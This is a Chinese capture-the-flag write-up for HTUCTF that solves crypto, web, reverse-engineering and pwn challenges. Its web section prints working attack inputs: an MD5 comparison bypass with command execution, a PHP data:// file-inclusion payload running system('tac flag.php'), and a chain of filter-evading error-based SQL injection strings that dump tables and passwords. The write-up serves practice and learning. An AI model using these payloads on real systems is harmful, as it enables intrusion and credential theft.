行业知识
HTUCTF 部分Crypto web reverse pwn题解
题目
- cryto
- 密码_签到
- guoql的大冒险
- RSA
- web
- debugme_签到
- easy_rce
- evalPHP
- easy_SQL
- revese
- ez_xor
- 倒车工程
- 猜数字_签到
- pwn
- ez_nc_签到
- 环境?环境!
- 完形填空
cryto
密码_签到
凯撒密码加密,偏移量2
guoql的大冒险
两个文件,一个flag,一个嘤嘤嘤
嘤嘤嘤:
flag:
根据嘤嘤嘤提示,其中涉及到兔子密码解密,还有三层栅栏密码解密
我们栅栏密码先解密,网址:链接: https://ctf.bugku.com/tool/railfence
得到的标准型和w型都进行解密试一下
我们进行兔子解密,网址链接: https://www.sojson.com/encrypt_rabbit.html
但是兔子解密需要密码,我们再回去看一下密钥是什么
嘤嘤嘤文件出现的guoql最像密钥,用它解密,标准型不行,w型可以
但是浏览器报错,询问大佬才知道是双感叹号
HTUCTF{WELCOME_TO_2024_HTUCTF!!!}
RSA
下载一个rsa文件,给了n,c
还有一串代码
from secret import flagfrom Crypto.Util.number import *from gmpy2 import *def s2n(string):return int(string.encode("utf-8").hex(),16)m = s2n(flag)def gen():p = getPrime(1024)q = int(next_prime(p))n = p*qphi = (p-1)*(q-1)e=0x10001while(gcd(phi,e) != 1):p = getPrime(1024)q = next_prime(p)n = p*qphi = (p-1)*(q-1)return (n,e,phi)n,e,phi = gen()c = pow(m,e,n)with open("./RSA.txt","w") as file:file.write(f"{n=}\n{c=}")file.close()n 已经给出,但我们没有 p、q 或 phi 的值。然而,由于 e 是与 phi 互质的,我们可以尝试从 n 分解出 p 和 q,然后计算 phi,最后找到一个与 phi 互质的 e。
由于 e 被设置为 0x10001(即 65537),所以e就是65537
给了e,n,c直接脚本附上
from Crypto.Util.number import *from gmpy2 import *e = 65537n=13537955325943141870650656463377877226000856713880378052819971295601583120572999181135327252560173628504441650209600956588888654692730258021468203731633564456320702182716201559529305801321208768592447431768755006697576175605633550691134435984810143553534063785889476981537378683655773060114131666866705292303527414004067093501240523672966063857328550862056561147295981393518223945130917551303291903172739086430349941157878531387432240469557432940754926560852088636315088334226575861621029427206269605364251739523806783530643621155738548099121966512764230022472692074575597298634955512919441477050124014781122452569251c=9116573555150167735475213863527576755487000232681926241292159933719472942329797183603952489829008333003878789264963887213309453442494821268537665993894594384619630467825049506141329290715543283047059681424461149462166799882454956163322095978758268309450855683534694033199534205229312491639727065486895811367057859656104559179542990817294573961502500538288828650402491896878916684580391047416487260129400456300791679225571935467839976336761425233153688732639934355399905350498020952506618500235543905542073406258996924947175272226257099009623627146998630069111140252994134093968201915119611802455537412960883988852108sn = gmpy2.isqrt(n)q = gmpy2.next_prime(sn)p = n // qphi = (p-1)*(q-1)d = gmpy2.invert(e, phi)m = pow(c, d, n)print(long_to_bytes(m))
HTUCTF{b3086dbe-c26b-4c8d-9148-8aa23cf2c760}
web
debugme_签到
查看源代码得到
easy_rce
get传两个数,其md5值要相等,其本身不能相同
s878926199a 和 s155964671a,成功绕过
我们再传cmd来执行eval函数
读取到flag文件,得到flag
evalPHP
提示说这题是文件包含
传参fille内容要是htuctf
再传post执行函数
我们这里用php伪协议进行读取:
伪协议是php中支持与封装的协议总和,包含很多类型,常见的有:
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
我们先用?file=php://filter/convert.base64-encode/resource=HTUCTF,行不通
读取有问题,可能被过滤了,我们使用data伪协议进行读取
?file=data://text/plain;base64,SFRVQ1RG
传post,这里用tac,cat不行
cmd=system("tac flag.php");?>得到flag
easy_SQL
有一个登录页面
题目说是简单的sql注入,我们爆破一下,默认账号是admin,进行弱密码爆破
得到密码是admin,登录显示成功,但是什么也没有出现
抓包sql注入看回显,使用报错注入,构造payload,查库–users
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(database()),0x7e),1);#&password=admin
查表-users
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),3);#&password=admin
查字段,爆出了两个字段
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/aandnd/**/table_name='users'),0x7e),3);#&password=admin
查看user里面有什么,有三个用户
1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(user)/**/from/**/users),1,31),0x7e),1);#&password=admin
查password字段信息,得到半边flag
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,96),0x7e),1);#&password=admin
查找下半边flag,将查询数据往后移几位,因为MID() 函数用于从文本字段中提取字符,所以在92位之前都是可以的
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),88,96),0x7e),1);#&password=admin
拼接一下得到完整的flag
HTUCTF{5c63ca70-e684-499e-9cb3-149a2b948c6d}
revese
ez_xor
附上异或脚本:
v8 = [28,6,12,20,69,18,19]v9 = [11,1,31,47,9,81,11,73,15]s = "tryw1th"v11 = "s1mplex0r"# 将 key 转换为整数列表s_int = [ord(char) for char in s]v11_int = [ord(char) for char in v11]# 执行按位异或操作,并将结果转换为字符flag1 = ""for i in range(len(s)): flag = v8[i] ^ s_int[i] flag1 += chr(flag)print(flag1)# 执行按位异或操作,并将结果转换为字符flag2 = ""for i in range(len(v11)): flag = v9[i] ^ v11_int[i] flag2 += chr(flag)print(flag2)
倒车工程
# -*- coding: utf-8 -*-"""倒车技术,我们是专业的! --2024.4.25 EMT倒车公司开发"""import time# 倒车安全性校验def compare_password(input_password): numbers = [0x48,0x54,0x55,0x43,0x54,0x46,0x7b,0x57,0x65,0x31,0x63,0x30,0x6d,0x65,0x5f,0x74,0x30,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x31,0x6e,0x65,0x65,0x72,0x31,0x6e,0x67,0x7d] hex_password = [ord(char) for char in input_password] if hex_password == numbers: return True else: return False# 倒车主系统def main(): password = input("请输入倒车密码:") if compare_password(password): print("密码正确!欢迎使用倒车系统。") print("自动倒车中......") time.sleep(5) print("倒车完成!请不要忘记你的密码:{},欢迎下次使用".format(password)) else: print("密码错误!请重试。")if __name__ == "__main__": main()这段函数:当我们输入一个密码字符串时,函数会将其转换为ASCII码值的列表,并与预定义的numbers列表进行比较。如果两个列表相同,函数返回True,表示密码正确;否则返回False,表示密码错误。
言外之意:就是解这段16进制的ascii码
numbers = [0x48, 0x54, 0x55, 0x43, 0x54, 0x46, 0x7b, 0x57, 0x65, 0x31, 0x63, 0x30, 0x6d, 0x65, 0x5f, 0x74, 0x30, 0x5f, 0x72, 0x33, 0x76, 0x65, 0x72, 0x73, 0x65, 0x5f, 0x65, 0x6e, 0x67, 0x31, 0x6e, 0x65, 0x65, 0x72, 0x31, 0x6e, 0x67, 0x7d]flag = ''.join(chr(num) for num in numbers)print(flag)# HTUCTF{We1c0me_t0_r3verse_eng1neer1ng}猜数字_签到
二分法,多试几次,每次取一半
pwn
ez_nc_签到
nc指令连一下就行了
环境?环境!
根据题目意思,应该是检查我们的pwn环境,不会配置的看这里 https://blog.csdn.net/m0_56161093/article/details/122914917
都提示我们了,补全运行就行
python3 exp.py
完形填空
这题比上一题多一个空,让我们求栈溢出
hint:
这是一道栈溢出题目 你的任务也很简单 只需要看出溢出量并完成完形填空即可(不明白可以搜搜看)
只看红框,我们分析一下红框的内容
buf数组的大小是32字节,但read函数调用试图从标准输入(文件描述符0)读取0x64(即100)字节的数据到buf中。但是buf只能容纳32字节的数据,
查看buf内容,注释中提到的“Saved regs: 8”表示保存了8字节的寄存器值
需要将这一部分加上去,32+8=40
登录到root系统,最后可以cat flag了
上一篇:flink:自定义数据分区
下一篇:战地1服务器在哪里?